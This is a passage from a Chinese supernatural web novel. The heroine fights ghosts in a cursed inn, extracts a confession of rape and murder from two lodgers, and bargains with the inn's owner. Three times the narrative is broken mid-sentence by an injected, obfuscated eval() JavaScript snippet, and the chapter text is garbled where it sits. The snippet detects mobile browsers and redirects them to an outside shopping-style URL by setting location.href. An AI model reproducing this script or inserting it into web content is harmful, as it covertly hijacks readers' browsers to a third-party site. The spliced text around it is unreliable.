这边假货不断上门,那边陆漫漫却也真碰到了在走廊里游荡的假货了。或者说走廊这一处的演员从始至终就只有那么一个,敏锐寻找到一号房后就始终徘徊不去。所以陆漫漫在接近正确房间的时候,迅速发现了它的存在。 因为敲不开门早就抓狂的诡怪察觉活人气息后,激动地怪叫了一声,直接冲着陆漫漫扑了上去。 这处空间早就扭曲折叠,若不是在限定房间周围,游荡诡也无法捕捉气息,更别说其他房间还有各种诡怪等着迷失的客人上门。它自然不肯离开这里去寻找落单者。 但对方主动上门就是另一回事了。哪怕它不像敲开门那么无敌,一个小小活人,必然成为它的盘中之餐。 太过激动的游荡诡狂甩长舌,滴着黄稠粘液的嘴巴疯狂分泌口水,迫不及待要把陆漫漫拆吃入腹。 陆漫漫举起画卷,在浅浅挡了一击后啧了声。 卷轴上的金光只是附加在其上的封印或者说祝祷加持,早就因为一路被她当开门工具消耗地差不多了,被这游荡诡一击直接划碎了边上的木质卷棍,险些将画毁坏。 水诡当时就被刺激到,疯了一般从后上前,试图去争抢画卷。 陆漫漫陷入了被前后夹击的危险当中。 就在这时,画卷陡然从陆漫漫手中脱手,虚虚展开,画像中的女子正面对着画外,眨了眨眼,而后直接从画内走了出来。 “娘!” 水诡住手,仓皇无措地围绕着陈香娘,想要伸手,但手上的水滴不过浅浅触碰到陈香娘的衣服,就将她的衣服晕染开来。它顿时不敢动了,蜷缩着身体,保持着距离,痴痴地看着她,嘴里喃喃。 “囡囡,我的囡囡……” 陈香娘此刻只是一幅画,无法沾水的画。 陆漫漫戒备地拉开距离,与两方呈三角状态,贴靠着一侧的墙壁。 母女二人重逢,无暇他顾,游荡诡眼中却只有陆漫漫,长舌甩出密集的鞭影,朝着陆漫漫铺天盖地笼罩下来。 哪怕烛台上罩着灯罩,攻击形成的风浪也从放上将陆漫漫手中的烛台吹得摇摇曳曳,即便拥有良好的动态能力,陆漫漫也无法准确捕捉到对方攻击的动向,只能凭感觉躲避。 没一会儿,身上就被擦出数道伤痕。 长舌上沾染的粘液还有腐蚀的效果,随着擦伤不断地深入伤口,带来强烈的烧灼痛感。 被动躲避的陆漫漫不抱希望道:“陈香娘,去敲门!” 游荡诡徘徊在这里,有极大的可能她面前两间相对的屋子有一间就是她要寻找的一号房。而种种情况来看,陈香娘的死和琴师画师有脱不开的关系,不是不可以达成一致。 陈香娘虽对陆漫漫无恶意,但却摇头拒绝了:“对不起恩公,我不能敲门,如果里面……会把我拉进去吃掉的。我娘也不是对手。” 陆漫漫心里MMP。 你娘先前老拽老牛逼了,所以黑化才能大幅度提高武力值一旦恢复正常情况就立马柔弱小可怜了是吗? 差评!差评!!! 再次被打伤的陆漫漫心头火起,但凡她手里有个什么长把的武器可以用,看她不把对方舌头给削成片!她做菜刀工老好了! 陆漫漫冲到一扇门前,侧身一边抵挡游荡诡一边用脚踹门:“开门!你大爷回来了!” 陆漫漫的运气并没有在二选一的时候变好,里面的东西也不装模作样了,近乎是迫不及待将门拉开,伸手就要抓人。 恰在此时,游荡诡的长舌也瞬间逼近,封死了前路。 陆漫漫进退无门,说到底那么点小身手也不过纸上谈兵,哪里真刀真枪干过,脑子有那么一瞬间直接陷入空白,而后就是强烈的不甘心。 她的手虚虚朝前,遵循着意识空白的陆漫漫的最真实的想法,想去砍断游荡诡的长舌。 一股奇异的力量猛地从掌中延伸而出,凝聚成一把长一米多宽二十余厘米的沉重大刀。 刀身尚还不成形,表面被黑色的浓雾覆盖,时不时因为力量的不稳定而微微扭曲,沉重的分量更是让陆漫漫的手猛地一沉。 但那种灵魂的共鸣却让陆漫漫第一时间熟悉了手上的重量。 刀锋划过,游荡诡头猛地落地。失去控制的长舌软软在空中晃了两下,垂落。 正在此时,对面的房门被从内打开。 “卧槽!” 没有什么合适的形容词可以形容正看到这一幕的冒飞扬和秦业的心情,看着砍飞游荡诡一身狼狈莫名战损帅气的陆漫漫,刚还又进行了一番内部battle的两人此刻安静如鸡,带着相同的懵逼。 地上的游荡诡不敢置信道:“怎么可能,好痛,为什么愈合不了!” 断头处的伤痕缠绕着细细密密的黑雾,仿佛无形的火焰在灼伤。 “聒噪!”陆漫漫冷着脸,刀尖下压,直接劈开头颅,而后微微侧首,看向伸手漆黑的房间和那徒劳在空中拼命试图钩锁她的诡爪。 诡爪僵住,默默竖直,朝她摇了摇,然后猛地缩回,啪地合上了门。 冒飞扬喃喃道:“咋个意思,拜拜认怂?” 还是秦业率先回神:“赶紧进来,诡化的是环境,这东西处理了一个还有其他的,没必要浪费精力。” 陆漫漫嗯了声,说道:“陈香娘,进来。” 陈香娘抖了抖,乖巧迅速地进门。 秦业重新点亮烛火,缩着角落站着的陈香娘身体猛地僵住,开始颤抖起来。同时面露惧色的还有被捆绑在一起的湘乐和文泊。 从看见陆漫漫一刀劈了游荡诡两人就开始害怕,当时整片视野唯有陆漫漫手里的烛台有光亮,那光影明暗效果,衬得陆漫漫杀气逼人。其后又见到了陈香娘和水诡,更是面色苍白,只感大限将至。 然而那煞神根本没有给他们任何平缓情绪的机会,沉重的刀身拍在桌上,带着一身的伤近乎不耐烦地道:“说说吧,你们几个人怎么回事。” “是他,是他看上了陈家小姐起了歪心,不关我的事!”湘乐秒怂,立刻将锅甩在文泊的身上,语气从心虚到坚定,不断强调道,“我只是偶然路过,被他威胁了!” “你胡说什么呢?”文泊急到面红耳赤,“那天不是你……” “你闭嘴!你敢说你没有把陈夫人推下水?” 冒飞扬虽然很想问刀的事,但这会儿还是老实坐下来等人先办正事。而两人的对话,也很快激起了她的兴趣。 她一脸看好戏地兴致勃勃道:“你们很勇啊,苦主都在这里,还敢瞎说八道。” 两人猛地一惊,下意识看向墙边的母女,尤其是已经不见人形的水诡。 水诡的注意力全在陈香娘身上,或者说,女儿才是它唯一的执念。 意识到这一点,两人微不可见地松了口气,互相对了个眼神,反倒镇定下来,不再随便推锅,而是含糊其辞地表示他们并不知道有什么好交代的。 “你刚刚不是还说他对陈家小姐有想法?”冒飞扬不可置信道,“还指责他把陈夫人推下水。” 湘乐笑呵呵道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13201979|137790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“窈窕淑女君子好逑,陈小姐美丽善良,文泊动心也是理所当然。至于推下水……我的意思是他想直接上门求亲,把陈夫人扯了进来。” 冒飞扬气笑:“你听听你讲的这个说得过去吗?” “可这就是事实啊。” 文泊却没说那么多废话,只是说:“我的确仰慕陈小姐,其他我并不知情。” 秦业单手撑着额头摇了摇头,拉住还想叭叭的冒飞扬,说道:“你别乱说话了,原本的顺利都要被你这张嘴破坏。没那个脑子就看着。” 冒飞扬看了眼面无表情的陆漫漫,难得没和他呛声,心虚地闭上了嘴巴。 陆漫漫手指敲了敲桌面,说道:“陈香娘,你爹用你的脑袋和其他人的尸体拼凑出了一个人,一直在进行祭祀,我今晚就是那个祭品。我不知道你为什么到现在也不肯说些什么,但这也就代表你父亲得罪我这件事是没有隐情的。” “不要,求你了,不要怪罪我父亲,我说,我说就是了。”陈香娘跪倒在地,双手捂着脸,泣不成声。 湘乐猛地提高声音,警告道:“你想想你作为女子应……嗷!” 冒飞扬一巴掌扇上去,整个人爽了:“你紧张什么,让你说的时候不说,这会儿就好好闭嘴吧。” 湘乐脸颊肿起老高,一时间话都说不出口,敢怒不敢言,只敢用眼神疯狂示意文泊。 文泊默默闭上了眼睛。 那天陈香娘去茅厕,出来后就遇到了湘乐。湘乐日日上门为她演奏,既然见到了,自然是要寒暄几句。 之后湘乐就说创了新的琴谱,但有几处地方始终纠结。 “我生病数日,父母都不让我碰琴以免劳累,一时心痒,就跟着他去了客房。然后他……他……”陈香娘哽咽着,完全说不下去,但在场的都不是无知小儿,几乎瞬间明白接下来会发生什么。 文泊听不下去道:“你们别为难她了,我来说吧。湘乐把陈小姐骗进自己的房间,行不轨之事。我那日喝了些酒,听到里面传来叫喊,就进屋看了眼。湘乐唯恐我去告发,撺掇我也一起……我本来就酒劲上头,当时恶念一起,对陈小姐做了不好的事情。” 冒飞扬火道:“酒劲起?我看你是下半身支配了你的大脑吧!你要真喝多了还起得来个屁!” 秦业拉着她,问道:“后来呢?为什么陈夫人也死了?” “陈夫人遍寻陈小姐不见,就过来跟我们打听,她知道我们住在哪里,撞见了我们胡来。湘乐本来失手把她砸死了,陈小姐也因为……我们过于放肆……这时候我们已经开始慌了。湘乐说陈家是贵客,如果这件事被发现,别的不说,我们肯定会被客栈赶出去。我们都不想离开,于是趁夜处理她们……”文泊颓然道,“陈小姐的尸体被分尸处理了,但此时天色已晚,我们没时间再处理陈夫人,只能草草将尸体绑上重物丢进了湖里。” 湘乐又气又急,加上伤势缓和了一些,当下就含糊着怒骂道:“你是不是傻?而且她是怎么回事?她怎么可能还有意识?” “是我将陈小姐画下来的。”文泊说,“那张画卷是人皮所做,我偶然所得,因为材质比较邪异,曾让高人做过法。只此一张,我一直舍不得在上面作画,原本是想留给客栈老板的。但那日……我心中有愧,不想自己忘记这样美好的女子,也不希望自己忘掉曾经做下的罪孽,所以把陈小姐画于其上。但没两天,我就发现,画会动,这才收起来。想来,是那张画卷的缘故。” 冒飞扬:“我觉得把他们也都宰了吧。老娘最讨厌这样的畜生了,事后愧疚算什么?” “你冷静点,别忘了我们在什么地方,这客栈诡异得很。” 冒飞扬气到鼓腮帮,问道:“小姐姐,你怎么看?” “由苦主处理,天亮后把他们交给陈商人。”陆漫漫朝陈香娘招了招手,往房间里侧的角落走去,“你过来一下,我有点别的事要问你。” 陈香娘瑟缩了一下,还是乖乖跟了过来。 陆漫漫先问她:“刚刚他们说的是真的吗?可有遗漏?” 陈香娘啜泣着摇头。 陆漫漫被陈香娘哭得无奈又烦躁,只是这个诡域时代背景的设置就是女性将贞洁看得重,三言两语的劝慰是不可能改变对方根深蒂固的想法的。 “如果是我,我会忍耐,甚至曲意逢迎。”迎着陈香娘不敢置信的目光,陆漫漫说,“只要我还活着,我就一定会报仇。但你现在也不晚,该是他们怕你才是,就像刚刚刚看见你的时候那样。哭是最没有用的。” 陈香娘怔住。 “当然,这些是你自己的决定,你有家人,就算不靠你,他也会帮你。”陆漫漫说,“我叫你过来是为了另外的事情,和我说一下陈家那几个人的情况。” 16. 诡栈拾陆 话题转移,陈香娘也总算冷静了些许,她仔细回忆了一下,说道:“这次出行,我爹只带了五个下人,小桃小梨日常跟着我,王妈妈跟着我娘,我爹身边有小厮桂子和林子帮着做事……” 桂子沉默寡言,以前灾难逃荒,家里只剩下他一人,被陈商人所救后死心塌地地跟着他帮他做事。林子则是陈家管家的儿子,比较会说话会来事,因为和小梨好上了,往陈小姐那跑得很勤快,经常帮忙,是个爱笑干活麻利的。 王妈妈在姜梅出嫁前就跟着她,一直到现在,那天要不是王妈妈身子不爽利,原本是要跟着过来的。之后因为出门比较随意,就只喊了近前的小桃跟着。 陈香娘忽然道,“对了,小桃这些日子经常出门,应该是和谁看对眼了,我们之前还取笑过她。” 陆漫漫忽然侧首看向地上骂骂咧咧的湘乐。 许掌柜曾经说过,这两个固定房客日常出门主要就是三餐,如果是三急,湘乐碰到陈香娘的时间就非常巧合了,加上小桃说过她曾脱离过母女二人的视线…… 不怪陆漫漫想得阴暗,惨烈的事情已经发生,那么什么样的可能就都是存在的。 “那天你一个人在大厅,小桃给你送过书册吗?” “书册?” “你娘说怕你无聊,让小桃去寻些书籍给你解闷。” 陈香娘摇头:“不曾,兴许是我去茅厕……错过了吧。” 不对,如果是这样,小桃当时就应该回去跟姜梅说陈香娘不见的问题。 “你在这待着吧,别去注意另一边的动静。”陆漫漫并不想再刺痛对方的伤口,“我有些事再问问他们。” 陈香娘缩着脑袋,点了点头。 探头探脑的冒飞扬看见陆漫漫过来,立刻摆正坐姿,眼睛发亮地看着她,就连秦业也好奇地多问了一句:“问明白了?” 陆漫漫说:“不出意外,应该是小桃跟湘乐告密,所以陈香娘才倒了霉。” 湘乐猛地抬头。 冒飞扬呆呆问道:“啊?小桃是谁?” 陆漫漫这才想起今晚的事情二人还不知情,于是简单描述了一下,听得冒飞扬直呼刺激。 “所以小桃和湘乐好上了?” 陆漫漫摇头:“应该不是,如果他们好上了,小桃不可能把其他女子送到心上人的房间。我怀疑小桃喜欢的人是文泊,但因为文泊恋慕陈小姐,小桃心中嫉妒,又恰巧知道了湘乐的邪念,所以才发生了悲剧。” “因为我?”文泊表情茫然,回忆了片刻,说道,“对了,陈小姐身边的一个侍女的确经常来找我。我……我也是因为有了误会,加上那日对陈小姐惊鸿一瞥,才对她情根深种。” “别笑掉我大牙了,所以说在你以为你们两厢情愿的前提下,你还和别人一起强了她?你脑子里是狗屎吗?” 文泊憋红了脸,说不出个所以然。 湘乐则像抓住了什么,急忙道:“没错就是那样的,那个……小桃,她找上门,跟我说她家小姐就在这里,暗示我可以邀请她进门。还嘀嘀咕咕什么小姐病快好了就要离开,生米煮成熟饭就尘埃落定了什么的。我也是被蛊惑的!” 冒飞扬又是一巴掌呼上去:“敢做不敢认的渣滓!你比这个王八蛋还畜生!” 秦业嘶了声,被吓出一身冷汗:“如果是我,在挖到陈香娘死因的时候就以为尘埃落定了,没想到还有内情。” “我只是怀疑所谓巧合而已。” “所以这些就是陈家逗留的全部原因了?”秦业说,“你刚刚说的那个王爷什么的,会不会也有隐情?” “不确定,目前来看并没有怀疑的地方。”陆漫漫狡黠一笑,“客栈主人让我明晚之前找出全部真相,但没说不能试错啊?我明天早上先去试一次,如果他说不对,那我再去问,试到晚上为止。” 与其自己瞎猜内耗自己,不如直接明牌怼上去。 况且人的精力有限,陆漫漫紧绷这么久,就算之前昏迷也算补了眠,到底破坏了生物钟,此刻精神不济,只想躺躺。 然而直接躺尸不行的,就这么点时间,敲门的声音时不时响起,并且响起的频率越来越高。 客栈不允许房间主人以外的人在房间内长时间逗留。 “对了对了,小姐姐,你的刀是怎么回事啊?那是魂力吧?好厉害!直接靠自己的力量凝成武器的,到现在为止我也就知道不到一只手!” 刀身凝聚后,就和正常武器一样,除非损坏,不会再不断消耗陆漫漫的力量,所以陆漫漫的刀并没有收回去。 但这把刀始终面目不明,陆漫漫可以感觉到它还并不完全,需要不断尝试才可能形成它真正的形态。 只是此刻并不适合反复消耗魂力去进行试错,够用就行。 秦业伸手:“可以给我看看吗?” 陆漫漫不确定伸手:“我不知道它能不能离手。” 事实证明是可以离手的,可效果对比在陆漫漫手里大打折扣,如果说陆漫漫使用时这把刀是神兵利器,其他人就只能当普通稍微加一点特殊效果的刀具。 更不用说,其重量脱离主人后加大了不少,接手的秦业猝不及防,手猛地一沉,直接被刀身压在了桌面上。 “好重!” “我试试我试试。”冒飞扬去握刀柄,费了好大的力气才将刀抬起些许,下一秒,就松了劲。 还没来得及缩手被砸得表情痛苦的秦业:“……” “对不起对不起,力使得有点不趁手。”冒飞扬嬉皮笑脸地道歉,说道,“这刀勉强还是可以用的,但使用的时候对手都能直接怼到面前了,跑还更有用点,不如不用。咦,这刀身接近刀柄的地方是不是有个图案?” 两人凑上去,仔细分辨了好久,发现确实有个图案,被黑雾笼罩地看不真切。 秦业说:“像是个鬼头……难道是鬼头刀?” 陆漫漫问:“鬼头刀是什么东西?” 秦业眼神飘了一下,咳了一声不自然地说道:“魂力是可以凝聚成属于自己的武器的,但并不是所有人都能做到。我以前尝试过,也想过要凝聚成什么,因此去了解了一些刀剑什么的。鬼头刀算是非常有名的刀了,如果说鬼头刀你们没听过,刽子手应该知道吧?所谓午门砍首,刽子手使用的,就是鬼头刀。那可不是影视剧里那种轻飘飘的道具刀可以相比的。鬼头刀杀气极重,戾气满满。这样的武器,天然就有一层加成,在诡域里,简直就是神兵利器,一般但凡有点脑子的小诡怪见到,都恨不能退避三舍。” 说到后面,秦业的语气已经变成了满满的羡慕,“你这把刀还不成形,就已经颇具威力,真的成型后,只会更强。像刚刚的游荡诡,一刀下去它就死透了。” “现在拥有魂武的人数量非常少,魂武可以借,威力也能在主人允许下稍稍加大,但在他人手中是有上限的。除非主人死亡允许赠送,魂武无法被人轻易夺走。其实所谓魂器,原理也是一样的。诡器也差不多,但诡器的主人都是诡怪,本身就是邪异的存在。诡怪若是主动赠送诡器,使用诡器的限制和副作用就会大大降低。如果是无主掉落,限制和副作用就很难考量了。” 陆漫漫说道:“多谢。” 秦业摇头:“这不是什么秘密,你如果顺利过了这个诡域,肯定会被国家队招揽。以你的实力,绝对进入总队。” 陆漫漫立刻明白这两人也是编内人员,婉拒道:“不了,日常有点吃不……” 冒飞扬:“五险一金还有提成哦,轮流坐班,日常都可以随意休息。而且如果有一天诡域真的都消失了,直接转正常公务员,不犯原则性错误就可以吃公饭到退休。万一在诡域里凉了,国家包父母养老,还会按贡献发放抚恤费。日常的话近亲的医疗也有优先权和减免权。如果和父母关系不好,审核通过后也可以将福利转赠,毕竟冒着性命危险的探查员的意愿是最重要的。审核有点难但不是没人通过哦~” 陆漫漫立马改口:“我会去试试的。” 恩,听着比自己朝九晚五日常加班没加班费周末还要坐班工资只有保底的垃圾工作好太太太多了。 玩命的就是不一样。 “我说你们聊够了没有!门快被砸穿了。”湘乐都要哭了,“我的房间已经损毁了,完了,全部都要完了。” 陆漫漫起身,说道:“跟我去客院吧。客院可以留人,我一个人带不了也护不住两个,跑了就麻烦了。” “好耶!”冒飞扬秒速答应。 秦业:“……”并不想动,无奈被拖走。 陆漫漫怀疑主动开门迎进的怪物有物理加成,所以几人等了会儿,等到门外暂时安静,才打开门出发。 在房间内逗留了一段时间,再出门走廊就又有了变化。 黑暗变得更加粘稠,张牙舞爪地仿佛活物,烛光仅仅只能照亮身周一米,没被灯光笼罩的黑暗处发出悉悉索索的动静,连原本的走廊迷宫都看不真切。 仅仅走出去不到十米,就彻底被黑暗包围。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13212209|137790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陆漫漫趁着还没走远尚能找到方向,重新又退了回去。 秦业不乐观道:“感觉周围的房间都消失了,只剩下了这里。就这么走出去恐怕会直接迷失在黑暗中。若是只持续到天亮还好说,就怕那个空间已经脱离真实客栈。” “破窗吧。”陆漫漫说。 “现在也只能试试了。” 先前为了保证房间的完整度,两人组倒是没尝试暴力破坏,这会儿既然打算跟着陆漫漫一条路走到黑,自然不再考虑保底安全房的问题。 冒飞扬掏出了她的笔,秦业……拿出了一对小剪刀。 陆漫漫没忍住侧目,就看见秦业凶狠地仿佛和这窗户有血海深仇一样,上去就是一通猛烈的输出。窗户不堪重负,吱呀着从中间裂开。 冒飞扬悄无声息地后退一步到陆漫漫身边,小声道:“这家伙对自己的武器可怨念了,每次掏出来都一副想刀人的样子。” “我听得到!” 冒飞扬吐了吐舌,灵活地挥舞笔杆,跟玩戳戳乐一样开始戳因为窗户破裂涌进来的透明恶灵。 这些恶灵弱却数量极多,倒是没什么太大的杀伤力,但碰到就会觉得接触处冰冷僵硬,无法自如活动,需要好一会儿才能缓过来。 这时候门口方向的诡怪也察觉到房间防御的松懈,开始暴力破门,被带上的锁在强烈撞击下开始出现细细密密的裂缝。 “啊,我的金花生!” “别金花生了,出去给你买一对!赶紧走!”秦业打头从窗户跳下去。 “那能一样吗?那可是我从小戴到大的!”冒飞扬撇嘴,探头看了一眼安全落地的秦业,不客气地挨个拎起湘乐和文泊,直接丢了下去,然后同样纵跃而下。 陆漫漫担心一会儿顾不过来,直接让陈香娘进入卷轴,带在了身上,在门被彻底破开前跳了下去。 小楼后面就是湖边。湖里不断有湿漉漉的身影从爬上来,试图去抓几人。 湘乐被吓得嗷嗷叫,文泊也被吓得面色惨白。后者还能勉强被扯着走,前者完全瘫软在地只能强行拖行。 拿着小剪刀大杀四方的秦业骂骂咧咧,暴躁地比冒飞扬有过之而无不及。 冒飞扬手忙脚乱,却还有功夫吐槽:“卧槽卧槽,丧尸出笼啊!我的笔主要功能可不是用来扎水诡的,这出去不得躺一个礼拜才怪!” 陆漫漫虽然有长武器在手,但鬼头刀尚不完全,砍头效益最高,但砍头一刀根本没办法彻底杀死水诡,效率倒是比不上经验丰富的另外两个人。 陆漫漫几步上前靠近池边,一边砍断各种伸手欲拖她下水的手,一边喊道:“灯来!” 不知隐匿在何处的人头灯倏地亮起绿色的灯火,从不远处的桥边猛地飞了过来。立时,陆漫漫周身的水诡如同碰见洪荒猛兽,疯了般撤退。 但人头灯只能护住主人,哪怕灯光笼罩其他人,也没什么用处。 腾出手来的陆漫漫并没有觉得气馁,无诡攻击,腾出手的她反倒更能帮助到其他人。 “一会儿清出一片空挡,然后迅速过桥。”陆漫漫强硬拉起湘乐,对着六神无主的文泊道,“不想死无全尸就跟着我!” 文泊仓皇点头。 没有后腿拖着,冒飞扬二人压力大减,趁机猛地清理一波后直接往桥上冲去,然后一行人猛地停住脚。 桥中央,晕开一片水渍,一个撑伞的身影站在左侧,不断滴落水珠的伞沿盖住了对方的面容,纤纤素手握着伞柄,苍白地如同失去了颜色。 秦业皱起眉头:“是小、boss。” “卧靠捅了诡窝了。”冒飞扬眼露杀气,“直接杀过去!” 陆漫漫阻止道:“别停留太长时间,我走左边,你们直接冲过去。记得千万别回头!” 两人没有异议,一行人迅速通过,在与对方擦肩而过的时候,陆漫漫浑身都绷紧了,余光不断注意着对方的动向,却只能看到对方随着他们的动作转过了身,并没有任何行动。 三人齐齐舒口气。 过了桥就进入了客院范围,但依旧不能放松警惕,陆漫漫夜间出行有人头灯,卓卿越那里则有钥匙,所以两人夜间出行安全都有基本保障。 其他人却不然。 以免夜长梦多,由陆漫漫领头,一行人直接朝着竹苑冲去。 走桥的话是竹苑最近。陆漫漫打算等把其他人安顿好,再独自去梅苑进行收尾。 就这么短短一段路,他们却撞见了一个意外的人。 17. 诡栈拾柒 提着灯笼的人影转身,露出了那张惊天动地的面容,文泊失态叫道:“老板!” 老板占据一片面孔的骷髅消失不见,整张脸俊美到邪异。他微微一笑,目光扫过狼狈的众人,说道:“陆小姐,深夜与友人结伴游园,好雅兴。” “老板才是。”陆漫漫戒备道,“不知道这个时候一个人在这里做什么?” “在下花无俦,陆小姐不妨直接叫我的名字。我只是无心睡眠,所以出来走走罢了。”花无俦提灯缓步靠近,当距离缩短到两米时,冒飞扬控制不住炸毛了。 她赶紧伸手拉扯陆漫漫的裙子,低声道:“他很强,非常强。” 陆漫漫说:“既然如此,不打扰花老板雅兴。夜已深,我们要回去了。” “看来陆小姐已经完成了我的任务。”花无俦停住脚步,微微侧首,“不如直接告诉我答案?” “明天一定上门拜访。” 花无俦笑了声,笑意不达眼底:“如果陆小姐有话与我说,此情此景倒也说得过去。若是无话……客栈深夜不得出行,陆小姐是贵客便罢了,诸位前脚破坏了我的客栈名义上可算不上是什么客人。若是我没看见也就当不知道,既然我看见了,可不能随随便便放几位离开。” 陆漫漫眼皮微跳。 前院深夜的危险来自于变幻的客栈本身和大数量的小诡,后院的危险竟是来自客栈老板本身吗? 如果客栈本身就会诡化,那作为客栈老板的花无俦也必然不是被动触发的存在。 感情你家闹得鬼就是你自己啊? 陆漫漫皮笑肉不笑:“花老板盛情相邀,自当前往。” 秦业不赞同道:“其实你不用管我们,不出意外故事已经补齐,这两人也不是必须带过去的。说到底是我们选择了冒险,与你无关。” “没事,早说晚说都一样。你们先去竹苑,门没上锁,如果我没回来,你们等天亮后和卓卿越汇合。”陆漫漫将身上的卷轴取下,递给秦业,“她们也交给你了。” 秦业不再劝说:“好。” 看着一行人匆匆离开,花无俦对陆漫漫做了个请的动作,丝毫不怕她跑掉地转身朝着兰苑走去。 陆漫漫也没准备跑,今天跑了明天还是要见的,更别说连冒飞扬那么张扬嚣张的性格都谨慎地提醒她对方强大了,陆漫漫自然不会以卵击石。 她的感官没有冒飞扬那么敏锐,但从见到花无俦开始,就浑身紧绷,有种被野兽盯住的危机感。 不过既然对方没上来就送她归西,该认怂就认怂。 花无俦看着心情很好,引着陆漫漫往兰苑走去:“当初我接手这个客栈的时候,还没有客院,天天吵吵扰扰的,日也吵夜也闹,时不时还有人上门,烦不胜烦。所以我建起四处客院,与前院分割开来,而后独居兰苑。” “原来这客栈并非花老板所开。” “嗯哼,我一觉醒来就在这里了,然后发现自己与客栈绑在了一起。客栈兴我兴,客栈亡我亡。但还有一点不同的是,客栈也在不断地消耗我。” 陆漫漫警惕道:“我似乎还没有提交答案?” “这不算我的弱点。更何况早说晚说,意义也不大。毕竟陆小姐已经知道了其他客院的事情不是吗?”花无俦说,“我与客栈,就像是相互寄生的寄生体,互相内耗又互相扶持,我能帮很多人实现愿望,却始终没办法让自己脱离这样的境地,你知道为什么吗?” “我不喜欢谜语人。” “因为很少有人的愿望,是与我有关的。即便有,最后也无法实现。打个比方,我曾和你说过,有人想要我,想要我意味着就要解除我和客栈之间的联系。虽然同样要受制于人,不过人的寿命可不能和客栈相比,所以我放了水,给了他很简单的任务。他也完成了。受愿望的影响,我和客栈的联系降到了最低,可最后一步,他却失败了,成为了客栈的养分。” “你希望我能帮你?” “只能说互惠互利。”花无俦停下脚步,“我给你的任务藏着诸多陷阱,你却能迅速完成,并没有依靠他人的力量。我的弱点本身就是客栈,除非将我和客栈一通毁去,否则我和客栈都不会消亡。我也不会放任别人去故意破坏客栈。所以,只有切断我和客栈的联系,我才能拥有弱点。不过到那时候,你的主要目的,恐怕也就是摧毁客栈了。” “我怎么知道你有没有骗我?” “就凭我放过了那群小朋友。” 陆漫漫说:“你能知悉客栈内发生的一切,谁知道你是不是故意在那里堵我们。” “这你就错了。我刚刚就说了,客栈原本只有前院。今晚你出行,应该也感觉到了,过桥前后的变化。有桥女在,那些魑魅魍魉无法上桥一步。” 陆漫漫一点不相信:“那昨日桥上死去的人又怎么说?” “那是桥女的规矩,摸黑者为鬼祟,东张西望者居心不良,悠闲玩乐者碍眼。” 陆漫漫:“……”无力吐槽。 “流程还是要走一下的,请坐。”花无俦将人带到水上亭台,挥手燃起灯烛,近乎迫不及待道,“说出你的发现吧。” 花无俦此刻的表现非常无害,陆漫漫几次怼他都不见生气,心中狐疑,却还是顺着他的意思将自己了解到的菊苑和梅苑的事情一一道来。 “……就是这样,不知我可还有遗漏之处?” “一些不重要的细枝末节,不过那些已经属于个人隐私了。恭喜你,完成了任务。”花无俦递过一杯茶,“你想知道的,喝完就明了了。” 陆漫漫接过茶杯,看着光影下黑沉的水面,手指轻轻摸索杯沿,而后心一横,脖子一仰,将整杯茶灌进了肚。 下一瞬,她趴倒在桌面上。 陆漫漫感觉自己身体轻飘飘的,被动着被带到了一个清冷的街道,在她的面前,是一间破败的客栈,上面挂着“无间客栈”的牌匾已经断裂,歪歪斜斜摇摇欲坠。 她飘进上锁的客栈,看见了虚弱的花无俦趴在桌上,边上的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13221646|137790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许掌柜唉声叹气地劝说:“主人,您现在已经继承了客栈,不开门做生意是不行的。” “我转给你。” “小人不行的。小人是客栈衍生的诡怪,哪里能反过来继承客栈。”许掌柜说,“您打开门做生意,将来肯定能寻到合适的继承人。” 时间飞速跳转,破败的客栈已经一片欣欣尚荣,花无俦再不见疲惫,半张脸却变成了骷髅。 不断有人上门许愿,花无俦来者不拒,却只能看见一张张只为自己贪欲连性命都不顾的贪婪面孔。 再然后,客院凭空而起,花无俦避去了兰苑,脸上时好时坏,将一切都丢给了许掌柜,开始随机见客。 中途出现一个青年,与花无俦交往甚多,两人不知道说些什么,不论陆漫漫怎么凑上前都听不真切,只看到青年露出欣喜的表情,结果跟着花无俦刚到前院,就痛苦地被客栈撕成了碎片。 即便如此,他都并未完全死亡。而是溺入湖水之中,夜夜哀嚎。 梦境在此戛然而止,陆漫漫猛地起身,问道:“现在什么时候了?” “你刚睡过去半个时辰。” “你这给我看的什么?不就是你刚刚描述的画面版?哪里有你的弱点?” 花无俦微笑:“你要我直白的说吗?我可只说一次。” “等等。” 陆漫漫制止他,重新思考刚刚看到的一切。就像她说的,那些画面不过是花无俦叙述的补充,要说唯一有些不一样的,就是客栈的名字和花无俦本身的变化。 最虚弱的时候,花无俦面容完好,客栈繁盛期间却露出了骷髅面目,早晨她来拜访的时候,对方也露出了些骷髅面。是什么影响了他的面容? 对了,是死人。 